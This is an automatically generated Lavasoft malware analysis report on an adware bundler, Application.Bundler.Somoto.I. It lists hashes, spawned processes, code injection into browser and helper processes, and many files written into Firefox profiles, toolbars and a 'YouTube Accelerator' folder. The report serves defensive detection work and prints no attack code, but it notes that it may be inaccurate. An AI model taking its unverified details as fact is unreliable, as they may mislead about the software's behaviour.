Application.Bundler.Somoto.I_2e25aa9a90

by malwarelabrobot on February 13th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 2e25aa9a90cf814cceb990b3777b8df6
SHA1: 572bf350a6b650f895dde0d11a8f3bf06da722f1
SHA256: a8e2b2b20743244d506286c606aa8d0059416a2bdb5da51f1d906156177b3fda
SSDeep: 3072:h22ihA0m3BJf0vviKe7V2EN1kvJ291nt6WZQVkEYqv8cBtv vm:CA0m3T0vq2c51smqv8cBtvB
Size: 166720 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit


Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

BaofengUpdate.exe:1768
BaofengUpdate.exe:1888
YTAHelper.exe:3256
ProtectWindowsManager.exe:3376
ProtectWindowsManager.exe:580
GLJE0FC.tmp:3368
YouTubeAcceleratorService.exe:1940
YouTubeAcceleratorService.exe:2644
YouTubeAcceleratorService.exe:2416
ins_postInst.exe:3184
ProtectService.exe:3856
ProtectService.exe:3260
TPAutoConnSvc.exe:1776
appshat.exe:3532
biclient.exe:3640
3F7F.tmp:820
GLBE08E.tmp:3064
wpm_v20.0.0.1714_0204.exe:3584
webplayer_installer.exe:316
ins_yta.exe:3976
appshat_generic.exe:3520
testlsp.exe:2408
powershell.exe:3268
powershell.exe:3060
powershell.exe:3988
setup.exe:2340
setup.exe:1772
HPNotify.exe:3804
STab_Down_6.0.6.8.exe:1496
cmdshell.exe:200
ShopperPro.exe:1984
%original file name%.exe:3304
Devtf.exe:2136
ins_shopperpro.exe:2888
regsvr32.exe:3320
regsvr32.exe:3020
regsvr32.exe:1696
regsvr32.exe:3180
regsvr32.exe:2252
regsvr32.exe:3528
lspinst.exe:4088
lspinst.exe:492
af1bef35-aa27-4010-9003-02d835dca74d-4.exe:2184
YTAHEL~1.EXE:3184
DCytaiesmt_smtyc_setup.exe:3680
cscript.exe:1472
spbiu.exe:3804
spbiu.exe:3956
wscript.exe:3892
XTab_v4.0.exe:2044
4AD7.tmp:3976
taskeng.exe:4092
ytaiesmt_smtyc_setup.exe:3416
jsdrv.exe:3472

The Application injects its code into the following process(es):

YouTubeAcceleratorService.exe:3652
YouTubeAccelerator.exe:3840
WebPlayer.exe:2972
IEXPLORE.EXE:148

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process BaofengUpdate.exe:1768 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\es-419\locale.properties (2 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\6B12.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\6AF2.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome.manifest (1 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423719205_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)

The process BaofengUpdate.exe:1888 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\RegWrite.exe (86 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\422.db (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)

The process YTAHelper.exe:3256 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (486 bytes)
C:\ProgramData\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)

The process ProtectWindowsManager.exe:3376 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)

The process GLJE0FC.tmp:3368 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process YouTubeAcceleratorService.exe:3652 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBC35FF.tmp (98 bytes)
C:\Windows\Temp\SBCEEC8.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3652.log (591 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC519C.tmp (51193 bytes)
C:\Windows\Temp\SBC33DC.tmp (44 bytes)
C:\Windows\Temp\SBC1286.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (3075 bytes)
C:\Windows\Temp\SBC480A.tmp (44 bytes)
C:\Windows\Temp\SBC76BA.tmp (486 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3652_YouTubeAcceleratorService.log (262279 bytes)
C:\Windows\Temp\SBC79B7.tmp (486 bytes)

The process YouTubeAcceleratorService.exe:2416 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process ins_postInst.exe:3184 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18807\ins_shopperpro.exe (21878 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_7887\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_273\ins_postInst.exe (7726 bytes)

The process ProtectService.exe:3856 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)

The process YouTubeAccelerator.exe:3840 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2408_testlsp.log_tmp (987 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3284.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (3671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3295.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3840_YouTubeAccelerator.log (14811 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3232.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2408_testlsp.log_tmp (296 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2408.log_tmp (749 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32BA.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32A7.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32BC.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk3243.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (272542 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2408_testlsp.log_tmp (64 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3840_YouTubeAccelerator.log_tmp (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk320E.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk319B.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk31BC.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32CE.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3652_YouTubeAcceleratorService.log_tmp (53 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk32A9.tmp (1 bytes)
